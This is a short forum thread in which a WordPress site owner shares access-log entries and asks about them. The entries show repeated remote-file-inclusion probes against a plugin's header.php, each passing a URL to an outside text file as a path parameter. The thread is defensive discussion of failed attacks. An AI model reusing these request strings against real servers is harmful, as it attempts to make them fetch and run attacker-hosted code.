Weird GET request in access logs..

  • Has anyone seen anything like this before in their access logs..

    210.250.149.132 - - [29/Mar/2009:04:58:41 +0100] "GET /wordpress-random-header-image/4//includes/header.php?c_temp_path=https://guideforgrowth.com/images/id.txt?? HTTP/1.1" 404 10237 "-" "Netscape 4.78/U.S., 25-Jun-01; (c) 1995-2000"
210.250.149.132 - - [29/Mar/2009:04:58:43 +0100] "GET //includes/header.php?c_temp_path=https://guideforgrowth.com/images/id.txt?? HTTP/1.1" 404 10237 "-" "Netscape 4.78/U.S., 25-Jun-01; (c) 1995-2000"
210.250.149.132 - - [29/Mar/2009:04:58:45 +0100] "GET /wordpress-random-header-image//includes/header.php?c_temp_path=https://guideforgrowth.com/images/id.txt?? HTTP/1.1" 404 10237 "-" "Netscape 4.78/U.S., 25-Jun-01; (c) 1995-2000"

    I’ll proberly block this IP as it looks a bit suspect, but curious if anyone else has seen this and has any ideas?

    ??

Viewing 2 replies - 1 through 2 (of 2 total)

  • Looks like the site at that IP address has been hacked.

    Thread Starter t31os

    (@t31os)

    I’ve contacted the host, so hopefully it’ll be one less pest to worry about…

    No more then 2 months of my site being up and i’ve had no less then around 10 different (failing) hack attempts already.

    Fortunately nothing is getting through, but i will be keeping a close eye on the logs.

    Thinking i might set a few honey pots to, send them in circles for a good few hours… ??

Viewing 2 replies - 1 through 2 (of 2 total)
  • The topic ‘Weird GET request in access logs..’ is closed to new replies.